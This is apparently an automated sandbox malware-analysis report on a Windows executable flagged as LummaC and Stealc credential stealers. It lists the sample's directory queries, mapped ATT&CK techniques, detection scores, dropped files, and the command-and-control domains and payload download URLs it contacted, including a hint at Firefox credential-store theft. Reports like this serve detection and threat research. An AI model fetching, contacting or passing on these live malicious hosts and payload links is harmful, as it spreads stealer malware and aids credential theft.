Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.1569315856.000000000077A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NE4jxHLxXJ.exe PID: 7580, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NE4jxHLxXJ.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1812798968.0000000000B21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1772091495.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NE4jxHLxXJ.exe	55%	Virustotal		Browse
NE4jxHLxXJ.exe	53%	ReversingLabs	Win32.Exploit.LummaC
NE4jxHLxXJ.exe	100%	Avira	TR/Crypt.XPACK.Gen
NE4jxHLxXJ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	172.67.199.72	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
curverpluch.lat	true	unknown
slipperyloo.lat	true	unknown
tentabatte.lat	true	unknown
manyrestro.lat	true	unknown
bashfulacid.lat	true	unknown
observerfry.lat	true	unknown
wordyfindy.lat	true	unknown
https://observerfry.lat/api	true	unknown
shapestickyr.lat	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.16/off/def.exeem	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/chrome_newtab	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/k	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/ta	NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/pi	NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/dc	NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat:443/apiD	NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/ws	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpq	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/d	NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/apiqAYY	NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565505173.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565076694.000000000544B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540610558.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1607925429.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1540360746.000000000544A000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1542509160.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569290741.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.php~Q	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/a	NE4jxHLxXJ.exe, 00000000.00000003.1540360746.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16:80/off/def.exerosoft	NE4jxHLxXJ.exe, 00000000.00000003.1713247899.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe_U	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat:443/apil	NE4jxHLxXJ.exe, 00000000.00000003.1569531668.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/F	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat:443/api	NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/es	NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpae1f-9bc86c8e8c94#	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001119000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/	NE4jxHLxXJ.exe, NE4jxHLxXJ.exe, 00000000.00000003.1713852030.0000000005455000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1518141709.0000000005440000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565505173.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1518011730.000000000543B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712447304.0000000005449000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1565076694.000000000544B000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000753000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569290741.000000000544C000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/apiob	NE4jxHLxXJ.exe, 00000000.00000003.1493416753.0000000000772000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	NE4jxHLxXJ.exe, 00000000.00000003.1542583335.00000000056EB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat:443/apia4ohrz.default-release/key4.dbPK	NE4jxHLxXJ.exe, 00000000.00000003.1713247899.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.micro	NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569315856.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpH	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	NE4jxHLxXJ.exe, 00000000.00000003.1541226644.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	NE4jxHLxXJ.exe, 00000000.00000003.1569867697.000000000543B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	NE4jxHLxXJ.exe, 00000000.00000003.1543035452.000000000543E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712807980.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeBS	NE4jxHLxXJ.exe, 00000000.00000003.1713611712.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712332444.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	NE4jxHLxXJ.exe, 00000000.00000003.1495010322.00000000053FA000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494805419.00000000053FD000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1494894685.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.199.72	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579718
Start date and time:	2024-12-23 08:02:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NE4jxHLxXJ.exe renamed because original name is a hash value
Original Sample Name:	1b0c09be5351f6e71f287bf2833228f6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
